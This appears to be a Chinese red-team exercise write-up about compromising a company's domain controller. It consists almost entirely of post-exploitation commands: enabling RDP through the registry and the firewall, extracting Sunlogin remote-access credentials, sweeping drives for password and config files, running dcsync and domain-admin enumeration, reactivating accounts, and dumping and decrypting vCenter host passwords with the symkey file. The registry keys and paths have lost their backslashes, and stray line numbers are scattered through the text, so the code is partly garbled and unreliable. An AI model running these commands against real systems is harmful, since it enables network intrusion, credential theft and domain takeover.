攻防演练 | 记一次打穿xx公司域控

Ehole.exe -fofa 检测的域名

tasklist /svc

#执行以下命令操作注册表来开启机器3389远程桌面服务
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#执行以下命令操作注册表来关闭机器3389远程桌面服务 
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

#使用以下命令添加防火墙放行策略
netsh firewall add portopening protocol = TCP port = 3389 name = rdp

1
2
3
4
5
6
7
8
9
10

注册表读取配置信息：
reg query HKEY_USERS.DEFAULTSoftwareOraySunLoginSunloginClientSunloginInfo
reg query HKEY_USERS.DEFAULTSoftwareOraySunLoginSunloginClientSunloginGreenInfo

向日葵默认配置文件路径:
安装版：C:Program FilesOraySunLoginSunloginClientconfig.ini
便携版：C:ProgramDataOraySunloginClientconfig.ini
本机验证码参数：encry_pwd
本机识别码参数：fastcode(去掉开头字母)
sunlogincode：判断用户是否登录状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

dir /a /s /b d:"*.txt" 
dir /a /s /b d:"*.xml" 
dir /a /s /b d:"*.mdb" 
dir /a /s /b d:"*.sql" 
dir /a /s /b d:"*.mdf" 
dir /a /s /b d:"*.eml" 
dir /a /s /b d:"*.pst" 
dir /a /s /b d:"*conf*" 
dir /a /s /b d:"*bak*" 
dir /a /s /b d:"*pwd*" 
dir /a /s /b d:"*pass*" 
dir /a /s /b d:"*login*" 
dir /a /s /b d:"*user*"
dir /a /s /b c:password.txt
dir /a /s /b c:*.conf *.ini *.inc *.config 
dir /a /s /b c:conf.* config.* 
dir /a /s /b c:*.txt *.xls *.xlsx *.docx | findstr "拓扑"
dir /a /s /b c:*.conf *.ini *.inc *.config | findstr "运维"
dir /a /s /b c:*.txt *.xls *.xlsx *.docx | findstr "密码" >C:Users1.txt

1
2
3
4
5
6
7
8

[*]192.168.10.38 #非真实域控ip
   [->]D1-Prod-AD-P01
   [->]192.168.10.38
   
[*]192.168.10.20 #非真实域控ip
   [->]AD
   [->]192.168.10.20

1
2
3
4
5

net group "domain admins" /domain
dcsync domain xxxx
shell net user xxxx
shell net user xxxx /active:yes /domain

1

python -c 'import pty;pty.spawn('/bin/bash')'

1
2

/usr/lib/vmware-vmdir/bin/vdcadmintool  #重置密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#获取vc用户的密码
cat /etc/vmware-vpx/vcdb.properties

#把加密后的密码单独拿出来，
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
#改成这种格式
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

#拿解密key
cat /etc/vmware-vpx/ssl/symkey.dat
Windows：C:ProgramDataVMwarevCenterServercfgvmware-vpxsslsymkey.dat
Linux：/etc/vmware-vpx/ssl/symkey.dat

#破解
python decrypt.py symkey.dat password.enc pass.txt